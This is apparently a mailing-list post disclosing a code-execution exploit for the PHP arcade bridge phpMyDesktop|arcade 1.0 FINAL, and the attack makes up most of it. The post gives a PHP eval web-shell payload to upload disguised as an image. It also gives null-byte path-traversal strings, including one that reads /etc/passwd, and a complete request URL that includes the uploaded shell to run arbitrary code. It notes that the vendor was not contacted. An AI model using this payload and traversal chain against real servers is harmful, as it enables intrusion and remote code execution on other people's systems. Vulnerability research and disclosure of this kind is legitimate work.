<<< Date Index >>>     <<< Thread Index >>>

phpMyDesktop|arcade 1.0 FINAL Code Execution



phpMyDesktop|arcade 1.0 FINAL
        Code Execution Exploit

found-by: darkgod (darkgod.xsf@xxxxxxxxx)
links: criticalsecurity.NET, hackthissite.org, hacbloc.org

video-@: http://dgod.dajoob.com/videos/phpmydesktoparcade.rar

phpMyDesktop|arcade is a php-based 'bridge' between a game and message board.
Its got a very nice interface, and many customiseable options.



Unfortunately, it suffers from two [three.] vulnerabilities.

1. Images are not checked for validity.
        This may not be a vuln in itself -- because code won't execute inside 
images. But you could
        mess with Internet Explorer, which in some versions allow HTML inside 
of images.

2. GET variable 'subsite' not sanitized.
        todo=showsubsite&subsite=../../../../../../../../../../../etc/passwd%00
        (example.)


Now, how does this allow code execution, you ask?

We upload our image with content of: <?php eval(stripslashes($_GET['code'])); ?>

To upload, you must post in one of the blocks. It will NOT POST YOUR CONTENT. 
This is because
it is trying first to create a thumbnail of your image, which is invalid, so it 
will bork.
But the image still gets uploaded.

So, now we use the second vulnerability.

Firstly, we must get to the 'top' of the drive, and find our way back. Create 
an error with it first,
so you can see the full path (let's say its /var/www/html/phpmydesktop1/.)

So, in order to get our code, you must do:

../../../../../../../../var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00

And assuming you uploaded what I said, the file query (in your addressbar)
will look like:

/phpmydesktop1/index.php?todo=showsubsite&subsite=../../../../../../../../var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00

And add a &code=print('h0n0r');
To execute any code you wish.


dgod.

Vulnerability Status:
Over at pmd-arcade.sourceforge.net, their contact & support page is down, so I 
see no easy way of contacting them.